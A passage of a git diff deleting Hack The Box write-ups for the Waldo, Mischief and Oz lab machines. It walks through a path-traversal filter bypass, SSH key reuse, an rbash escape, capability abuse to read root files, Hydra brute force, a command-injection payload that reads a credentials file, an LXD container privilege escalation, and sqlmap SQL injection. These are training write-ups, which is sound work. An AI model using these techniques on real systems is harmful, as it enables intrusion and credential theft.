-8888/tcp filtered sun-answerbook - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds -``` - -### Web enumeration - -The webpage is a simple application that displays and manages "lists", and is using Javascript/Ajax. - -![Web application](/assets/images/htb-writeup-waldo/web1.png) - -![Web application source](/assets/images/htb-writeup-waldo/web2.png) - -In the javascript source code (list.js), the `readFile` function can be abused to read source code of other PHP files in the directory: - -```js -function readFile(file){ - var xhttp = new XMLHttpRequest(); - xhttp.open("POST","fileRead.php",false); - xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); - xhttp.send('file=' + file); - if (xhttp.readyState === 4 && xhttp.status === 200) { - return xhttp.responseText; - }else{ - } -} -``` - -![fileRead.php](/assets/images/htb-writeup-waldo/fileread.png) - -The various files we read are: - - [fileRead.php](fileRead.php) - - [fileWrite.php](fileWrite.php) - - [fileDelete.php](fileDelete.php) - - [dirRead.php](dirRead.php) - - The first thing I tried was to use `fileWrite` to write an arbitrary PHP file in the `.list` directory but the filename is derived from the `listnum` parameter which is checked to make sure it's numeric (PHP's is_numeric() function). So we can't write files with the appropriate extension and execute code. - - Next, I looked at the dirRead.php file to try to enumerate the file system. The function uses a `str_array` filter to replace characters that could be used for path traversal: - - ``` - str_replace(array("../", "..\"), "", $_POST['path']) - ``` - -So something like `../../../../../` will get replaced with an empty string which is going to default to the current directory. - -We can verify with using the interactive PHP interpreter: - -``` -root@darkisland:~# php -a -Interactive mode enabled - -php > -php > echo str_replace( array("../", "..\\"), "", array("../../../../"))[0]; -php > -php > echo str_replace( array("../", "..\\"), "", array("this_is_not_blacklisted"))[0]; -this_is_not_blacklisted -``` - -We can bypass the filter by using the following sequence: `....//....//....//....//` - -``` -php > echo str_replace( array("../", "..\\"), "", array("....//....//....//....//"))[0]; -../../../../ -``` - -Running it on the target system, we are able to navigate to the user directory: - -![readdir](/assets/images/htb-writeup-waldo/readdir.png) - -The `.monitor` file looks interesting, we'll use the `fileRead.php` function to read it: - -![SSH key](/assets/images/htb-writeup-waldo/sshkey.png) - -### Initial shell access - -Using the SSH private key we obtained, we can log in as user `nobody`: - -``` -root@darkisland:~/hackthebox/Machines/Waldo# ssh -i waldo.key nobody@10.10.10.87 -Welcome to Alpine! - -The Alpine Wiki contains a large amount of how-to guides and general -information about administrating Alpine systems. -See . -waldo:~$ ls -user.txt -waldo:~$ cat user.txt -32768b -``` - -### Pivoting to the host OS and privesc - -There isn't much else we can do as user `nobody` since we are in a container. - -We can however pivot to the host OS by re-using the same key and logging in as user `monitor`: - -``` -waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. -ECDSA key fingerprint is SHA256:YHb7KyiwRxyN62du1P80KmeA9Ap50jgU6JlRaXThs/M. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. -Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64 - &. - @@@,@@/ % - #*/%@@@@/.&@@, - @@@#@@#&@#&#&@@@,*%/ - /@@@&###########@@&*(* - (@################%@@@@@. /** - @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/ - %@@@@%##########&@@@.... .#%#@@@@@@@# - @@&%#########@@@@/ */@@@%(((@@@% - @@@#%@@%@@@, *&@@@&%(((#((((@@( - /(@@@@@@@ *&@@@@%((((((((((((#@@( - %/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#, - %@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# & - *@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/ - /@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@& - *@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@& - %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/ - @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/ - @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@* - @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@ - *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@. - @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@ - @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@. - .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@* - @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@( - .@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/ - *@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/ - *@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@ - *@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@# - (@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@ - /@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@# - %@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@, - ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@ - &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@ - /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@( - @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#* - *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@ - @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@, - @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ - &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@# - %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ - ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@, - *@@,,,,,,,.,****,..,,,,,,,,&@@ - (@(,,,.,,,,,,,,,,,,,,.,,,/@@ - .@@,,,,,,,,,,,,,...,,,,,,@@ - ,@@@,,,,,,,,,,,,,,,,.(@@@ - %@@@@&(,,,,*(#&@@@@@@, - - Here's Waldo, where's root? -Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1 --rbash: alias: command not found -``` - -It seems we are in a restricted bash shell since we can't run arbitrary comands: - -``` -monitor@waldo:~$ cd / --rbash: cd: restricted -monitor@waldo:~$ ls -app-dev bin -monitor@waldo:~$ cd bin --rbash: cd: restricted -monitor@waldo:~$ ls -app-dev bin -monitor@waldo:~$ ls bin -ls most red rnano -monitor@waldo:~$ -``` - -We can easily bypass rbash by skipping the profile of the user with the `-t bash --noprofile` arguments: - -``` -waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -t bash --noprofile -monitor@waldo:~$ -``` - -However our PATH is no longer set so we'll need to set it manually: - -``` -monitor@waldo:~$ echo $PATH -/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1 -monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH -monitor@waldo:~$ echo $PATH -/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1 -``` - -Now that we have access with a regular shell, we can start looking around. - -In the `app-dev` directory of the `monitor` home directory, there is a log monitoring application along with the source code. The application simply reads hardcoded log files based on the CLI argument passed to it: - -```c -[...] -case 'a' : - strncpy(filename, "/var/log/auth.log", sizeof(filename)); - printFile(filename); - break; - case 'A' : - strncpy(filename, "/var/log/alternatives.log", sizeof(filename)); - printFile(filename); - break; - case 'b' : - strncpy(filename, "/var/log/btmp",sizeof(filename)); - printFile(filename); - break; - case 'd' : - strncpy(filename, "/var/log/daemon.log",sizeof(filename)); - printFile(filename); - break; - case 'D' : - strncpy(filename, "/var/log/dpkg.log",sizeof(filename)); - printFile(filename); - break; -[...] -``` - -We can modify the source code and re-compile it but it's not running as root so any modifications we make like adding a `/bin/bash` shell argument option will only result in a shell running as user `monitor`. At first, it seemed like this was a box with a cronjob running every few minutes that would compile and run the program but this isn't the case. - -Next, we looked at the `v0.1` directory that contains yet another copy of the software. The interesting part here is that the application is able to read log files even though it doesn't have the SUID bit set: - -``` -monitor@waldo:~/app-dev$ ./logMonitor -a -Cannot open file - -monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a -Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session opened for user root by (uid=0) -Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session closed for user root -Aug 4 22:00:37 waldo sshd[980]: Accepted publickey for monitor from 127.0.0.1 port 57202 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c -[...] - -monitor@waldo:~/app-dev$ ls -l logMonitor --rwxrwx--- 1 app-dev monitor 13704 Jul 24 08:10 logMonitor -monitor@waldo:~/app-dev$ ls -l v0.1/logMonitor-0.1 --r-xr-x--- 1 app-dev monitor 13706 May 3 16:50 v0.1/logMonitor-0.1 -``` - -So, both files are owned by the same user and do not have the SUID bit set... Why is the v0.1 file able to read log files then? - -Let's look at file capabilities: - -``` -monitor@waldo:~$ getcap -r * -app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei -``` - -The `cap_dac_read_search` capability is used to `Bypass file read permission checks and directory read and execute permission checks`. So basically, if a file has this permission it can read anything. - -We can't use this file to read anything other than log files but maybe there are other similar files on the host: - -``` -monitor@waldo:~$ getcap -r /* 2>/dev/null -/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei -/usr/bin/tac = cap_dac_read_search+ei -``` - -What is this `tac` binary? - -``` -monitor@waldo:~$ /usr/bin/tac --help -Usage: /usr/bin/tac [OPTION]... [FILE]... -Write each FILE to standard output, last line first. -``` - -Ok, we can use this to read files, let's grab root.txt and finish this box: - -``` -monitor@waldo:~$ tac /root/root.txt -8fb67c -``` \ No newline at end of file diff --git a/_posts/2019-01-05-htb-writeup-mischief.md b/_posts/2019-01-05-htb-writeup-mischief.md deleted file mode 100644 index 37569a6a0c..0000000000 --- a/_posts/2019-01-05-htb-writeup-mischief.md +++ /dev/null @@ -1,335 +0,0 @@ ---- -layout: single -title: Mischief - Hack The Box -date: 2019-01-05 -classes: wide -header: - teaser: /assets/images/htb-writeup-mischief/mischief_logo.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - linux - - lxc - - containers - - unintended ---- - -This blog post is a writeup of the Mischief machine from Hack the Box using the unintended LXC container privesc method. - -## Linux / 10.10.10.92 - -![](/assets/images/htb-writeup-mischief/mischief_logo.png) - -### Summary ------------------- -- SNMP is enabled and the default `public` SNMP community string is configured -- Using SNMP, we find that a Python SimpleHTTPServer is running with basic authentication, the credentials are passed as command arguments so we can see those in the snmpwalk -- The webserver is running on port 3366 and we can log in with the credentials we found -- There is another set of credentials displayed on the webpage but we don't know what these are for yet -- Using SNMP, we find there is an IPv6 address configured on the server and nmap shows an Apache server running on port 80 -- We can log in to the webserver with the password we found on the other page, we just have to guess/bruteforce the username which is `administrator` -- There's a command injection vulnerability on the PHP page that we can exploit to read a `credentials` file in the loki home directory -- We can log in with SSH as user `loki` now and we see that we are part of the `lxd` group -- We can priv esc by uploading a container, setting it as privileged and mounting the local filesystem within the container -- The root.txt flag in /root is a fake one, but doing a find command on the entire filesystem reveals it's real location - -### Tools/Blogs used - -- [http://docwiki.cisco.com/wiki/How_to_get_IPv6_address_via_SNMP](http://docwiki.cisco.com/wiki/How_to_get_IPv6_address_via_SNMP) -- [https://dominicbreuker.com/post/htb_calamity/](https://dominicbreuker.com/post/htb_calamity/) - -### Detailed steps ------------------- - -### Nmap - -There's only a webserver and the SSH service running on this box - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -sC -sV -p- 10.10.10.92 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 18:57 EDT -Nmap scan report for 10.10.10.92 -Host is up (0.015s latency). -Not shown: 65533 filtered ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA) -| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA) -|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519) -3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer) -| http-auth: -| HTTP/1.0 401 Unauthorized\x0D -|_ Basic realm=Test -|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1 -|_http-title: Site doesn't have a title (text/html). -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 127.89 seconds -``` - -### SNMP recon - -SNMP is open on UDP port 161 - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -sU -F 10.10.10.92 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 19:07 EDT -Nmap scan report for 10.10.10.92 -Host is up (0.014s latency). -Not shown: 99 open|filtered ports -PORT STATE SERVICE -161/udp open snmp - -Nmap done: 1 IP address (1 host up) scanned in 3.03 seconds -``` - -SNMP is using the default `public` community string: - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# onesixtyone 10.10.10.92 -Scanning 1 hosts, 2 communities -10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 -``` - -We can get the list of processes with this nmap script, or by doing an `snmpwalk`: - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -sU -p 161 --script=snmp-processes 10.10.10.92 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 19:15 EDT -Nmap scan report for 10.10.10.92 -Host is up (0.014s latency). - -PORT STATE SERVICE -161/udp open snmp -| snmp-processes: -[...] -| 631: -| Name: python -| Path: python -| Params: -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/ -[...] -``` - -We found some credentials in there: `loki / godofmischiefisloki` - -### Credentials found on the webserver - -We can now log in to the webserver with the found credentials: - -![Webserver](/assets/images/htb-writeup-mischief/webserver.png) - -On the page we see an image of Loki and two sets of credentials: - -- loki / godofmischiefisloki -- loki / trickeryanddeceit - -We already have the first one, we need to find where to use the 2nd one. - -The `trickeryanddeceit` password doesn't work on SSH (tried bruteforcing usernames also) - -### SNMP recon (part 2) - -When we do a full snmpwalk, we pickup IPv6 addresses configured on the interface: - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3 -iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.92 = INTEGER: 2 -iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2 -iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1 -iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1 -iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.178.24.116 = INTEGER: 2 -iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.178.24.116 = INTEGER: 2 -``` - -We convert that to hex using a python script: - -``` ->>> s = "222.173.190.239.0.0.0.0.2.80.86.255.254.178.24.116" ->>> s = s.split(".") ->>> ip = "" ->>> for i in s: -... ip += hex(int(i))[2:].rjust(2,'0') -... ->>> print ip -deadbeef00000000025056fffeb21874 -``` - -IPv6 address: `dead:beef:0000:0000:0250:56ff:feb2:1874` - -We'll add this IPv6 address to our `/etc/hosts`. - -### Nmap IPv6 - -There is another webserver running on port 80 but only listening on IPv6 addresses: - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# nmap -6 -sC -sV -p- dead:beef:0000:0000:0250:56ff:feb2:1874 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-08 19:29 EDT -Nmap scan report for dead:beef::250:56ff:feb2:1874 -Host is up (0.015s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA) -| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA) -|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: 400 Bad Request -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Host script results: -| address-info: -| IPv6 EUI-64: -| MAC address: -| address: 00:50:56:b2:18:74 -|_ manuf: VMware - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds -``` - -### Command execution panel - -The web server is running a PHP application: - -![Command Execution Panel](/assets/images/htb-writeup-mischief/cep1.png) - -![Command Execution Panel Login](/assets/images/htb-writeup-mischief/cep2.png) - -It's probably using the 2nd password we found but we don't know the username (loki doesn't work here.) - -We'll use Hydra to bruteforce the username: - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# hydra -I -L /root/SecLists/Usernames/top_shortlist.txt -p trickeryanddeceit mischief http-post-form "/login.php:user=^USER^&password=^PASS^:credentials do not match" -Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. - -Hydra (http://www.thc.org/thc-hydra) starting at 2018-07-08 19:37:12 -[DATA] max 11 tasks per 1 server, overall 11 tasks, 11 login tries (l:11/p:1), ~1 try per task -[DATA] attacking http-post-form://mischief:80//login.php:user=^USER^&password=^PASS^:credentials do not match -[80][http-post-form] host: mischief login: administrator password: trickeryanddeceit -1 of 1 target successfully completed, 1 valid password found -Hydra (http://www.thc.org/thc-hydra) finished at 2018-07-08 19:37:13 -``` - -Username is: `administrator` - -Once logged in we see: - -![Command Execution Panel](/assets/images/htb-writeup-mischief/cep3.png) - -There's a hint about a credentials file in the home directory. - -The command input is filtered (some commands are blacklisted.) - -But we can get the credentials with: `ping -c 2 127.0.0.1; cat /home/loki/c*;` - -![Password](/assets/images/htb-writeup-mischief/password.png) - -Password is `lokiisthebestnorsegod` - -We can now SSH with user `loki` and password `lokiisthebestnorsegod` - -``` -root@violentunicorn:~/hackthebox/Machines/Mischief# ssh loki@10.10.10.92 -loki@10.10.10.92's password: -Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64) - -[...] - -loki@Mischief:~$ cat user.txt -bf5807 -``` - -### Privesc (unintended method) - -Our low privilege user is part of the `lxd` group: - -``` -loki@Mischief:~$ id -uid=1000(loki) gid=1004(loki) groups=1004(loki),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),1000(lpadmin),1001(sambashare),1002(debian-tor),1003(libvirtd) -``` - -So that means we can configure and manage LXC containers on the system. - -First, we'll initialize LXD on the box and create a storage pool: - -``` -loki@Mischief:~$ lxd init -Would you like to use LXD clustering? (yes/no) [default=no]: -Do you want to configure a new storage pool? (yes/no) [default=yes]: -Name of the new storage pool [default=default]: -Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]: -Create a new BTRFS pool? (yes/no) [default=yes]: -Would you like to use an existing block device? (yes/no) [default=no]: -Size in GB of the new loop device (1GB minimum) [default=15GB]: 8 -Would you like to connect to a MAAS server? (yes/no) [default=no]: -Would you like to create a new network bridge? (yes/no) [default=yes]: no -Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]: -Would you like LXD to be available over the network? (yes/no) [default=no]: -Would you like stale cached images to be updated automatically? (yes/no) [default=yes] -Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: -``` - -Next, we'll upload a ubuntu container image that we've created on another machine (see: https://dominicbreuker.com/post/htb_calamity/) - -``` -root@violentunicorn:~/mischief# scp ubuntu.tar.gz loki@10.10.10.92: -loki@10.10.10.92's password: -ubuntu.tar.gz -``` - -Then import it, create a new container out of it, configure it as privileged and mount the local filesystem into it: - -``` -loki@Mischief:~$ lxc image import ubuntu.tar.gz --alias yolo -Image imported with fingerprint: 65d3db52d47d12928e8392004207269d1d8d542024b64e1b2c638a7e1c19e42d -loki@Mischief:~$ lxc init yolo yolo -c security.privileged=true -Creating yolo - -The container you are starting doesn't have any network attached to it. - To create a new network, use: lxc network create - To attach a network to a container, use: lxc network attach - -loki@Mischief:~$ lxc config device add yolo mydevice disk source=/ path=/mnt/root recursive=true -Device mydevice added to yolo -``` - -Next we start the container and execute a bash shell: - -``` -loki@Mischief:~$ lxc config device add yolo mydevice disk source=/ path=/mnt/root recursive=true -Device mydevice added to yolo -loki@Mischief:~$ lxc start yolo -loki@Mischief:~$ lxc exec yolo /bin/bash -root@yolo:~# cd /mnt/root/root -root@yolo:/mnt/root/root# ls -root.txt -root@yolo:/mnt/root/root# cat root.txt -The flag is not here, get a shell to find it! -``` - -Looks like the flag is hidden somewhere else... - -Let's find it: - -``` -root@yolo:/mnt/root/root# find /mnt/root -name root.txt 2>/dev/null -/mnt/root/usr/lib/gcc/x86_64-linux-gnu/7/root.txt -/mnt/root/root/root.txt -``` - -There's another root.txt, let's see... - -``` -root@yolo:/mnt/root/root# cat /mnt/root/usr/lib/gcc/x86_64-linux-gnu/7/root.txt -ae155f -``` - -Game over! diff --git a/_posts/2019-01-12-htb-writeup-oz.md b/_posts/2019-01-12-htb-writeup-oz.md deleted file mode 100644 index 4a4d432fe0..0000000000 --- a/_posts/2019-01-12-htb-writeup-oz.md +++ /dev/null @@ -1,752 +0,0 @@ ---- -layout: single -title: Oz - Hack The Box -date: 2019-01-12 -classes: wide -header: - teaser: /assets/images/htb-writeup-oz/oz_logo.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - linux - - sqli - - ssti - - containers ---- - -This blog post is a writeup of the Oz machine from Hack the Box. - -Linux / 10.10.10.96 - -![](/assets/images/htb-writeup-oz/oz_logo.png) - -## Summary -- There's an SQL injection vulnerability on the port 80 application which allow us to dump the database -- We can crack the user credentials and log into the ticketing application -- An SSTI vulnerability allows us to gain RCE and access to this container -- Using the port-knocking information and SSH key we found earlier we can log in to the host OS -- The portainer application is exposed and we can use a vulnerability to change the admin password -- Once logged in, we use the portainer app to create a privileged container and get root access - -### Tools/Blogs used - -- [tplmap](https://github.com/epinna/tplmap) - -## Detailed steps - -Only ports 80 and 8080 are accessible on this box. - -``` -root@darkisland:~/hackthebox# nmap -p- -sC -sV 10.10.10.96 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-02 18:27 EDT -Nmap scan report for oz.htb (10.10.10.96) -Host is up (0.016s latency). -Not shown: 65533 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14) -|_http-server-header: Werkzeug/0.14.1 Python/2.7.14 -|_http-title: OZ webapi -|_http-trane-info: Problem with XML parsing of /evox/about -8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14) -| http-open-proxy: Potentially OPEN proxy. -|_Methods supported:CONNECTION -|_http-server-header: Werkzeug/0.14.1 Python/2.7.14 -| http-title: GBR Support - Login -|_Requested resource was http://oz.htb:8080/login -|_http-trane-info: Problem with XML parsing of /evox/about - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 113.22 seconds -``` - -### Web enumeration - -On port 8080 there's a simple login page. - -![](/assets/images/htb-writeup-oz/2.png) - -Failed attempts: - - No SQL injections found on this page - - Dirbusting didn't find any useful files or directories - -On port 80 there's some web API asking for a username. - -![](/assets/images/htb-writeup-oz/1.png) - -Based on the HTML code, we can guess it's an API: - -```html -OZ webapi -

Please register a username!

-``` - -Dirbusting is a bit more difficult than usual because the page randomly throws random strings in the response when we enumerate an invalid URI. - -The returned message contains either the **register a username** messages or a random string. - -![](/assets/images/htb-writeup-oz/3.png) - -![](/assets/images/htb-writeup-oz/4.png) - -![](/assets/images/htb-writeup-oz/5.png) - -We can use wfuzz and exclude responses that include only 1 or 4 words: - -``` -root@darkisland:~/SecLists/Discovery/Web-Content# wfuzz -z file,raft-small-words-lowercase.txt --hw 1,4 10.10.10.96/FUZZ - -================================================================== -ID Response Lines Word Chars Payload -================================================================== - -000199: C=200 3 L 6 W 79 Ch "users" -... -``` - -So we found the `/users` URI, but we still get a 'Please register a username!' message but this time it's in bold letters so there is something different with that URI. - -After trying a few parameters and URIs, we find that an 500 error is triggered when using the `http://10.10.10.96/users/'` URI. - -This indicates a probable SQL injection. We can use sqlmap to explore this further: - -``` -root@darkisland:~# sqlmap -u http://10.10.10.96/users/ - ___ - __H__ - ___ ___[.]_____ ___ ___ {1.2.8#stable} -|_ -| . [(] | .'| . | -|___|_ ["]_|_|_|__,| _| - |_|V |_| http://sqlmap.org - -[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program - -[*] starting at 18:48:35 - -[18:48:36] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' -do you want to try URI injections in the target URL itself? [Y/n/q] -[18:48:44] [INFO] testing connection to the target URL -[18:48:44] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS -[18:48:44] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS -do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] -[18:48:45] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10') -[18:48:45] [INFO] testing if the target URL content is stable -[18:48:45] [INFO] target URL content is stable -[18:48:45] [INFO] testing if URI parameter '#1*' is dynamic -[18:48:45] [INFO] confirming that URI parameter '#1*' is dynamic -[18:48:45] [INFO] URI parameter '#1*' is dynamic -[18:48:45] [INFO] heuristics detected web page charset 'ascii' -[18:48:45] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable -[18:48:45] [INFO] testing for SQL injection on URI parameter '#1*' -[18:48:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' -[18:48:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' -[18:48:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' -[18:48:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' -[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' -[18:48:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' -[18:48:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' -[18:48:46] [INFO] testing 'MySQL inline queries' -[18:48:46] [INFO] testing 'PostgreSQL inline queries' -[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' -[18:48:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' -[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' -[18:48:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' -[18:48:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' -[18:48:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' -[18:48:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' -[18:48:47] [INFO] testing 'Oracle AND time-based blind' -[18:48:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' -[18:48:48] [INFO] target URL appears to be UNION injectable with 1 columns -[18:48:48] [WARNING] applying generic concatenation (CONCAT) -[18:48:48] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable -[18:48:48] [INFO] checking if the injection point on URI parameter '#1*' is a false positive -URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] -sqlmap identified the following injection point(s) with a total of 121 HTTP(s) requests: ---- -Parameter: #1* (URI) - Type: UNION query - Title: Generic UNION query (NULL) - 1 column - Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL ---- -[18:48:51] [INFO] testing MySQL -[18:48:51] [INFO] confirming MySQL -[18:48:51] [INFO] the back-end DBMS is MySQL -back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) -[18:48:51] [WARNING] HTTP error codes detected during run: -500 (Internal Server Error) - 52 times -[18:48:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96' - -[*] shutting down at 18:48:51 -``` - -We found that the URI parameter is vulnerable so we can now enumerate 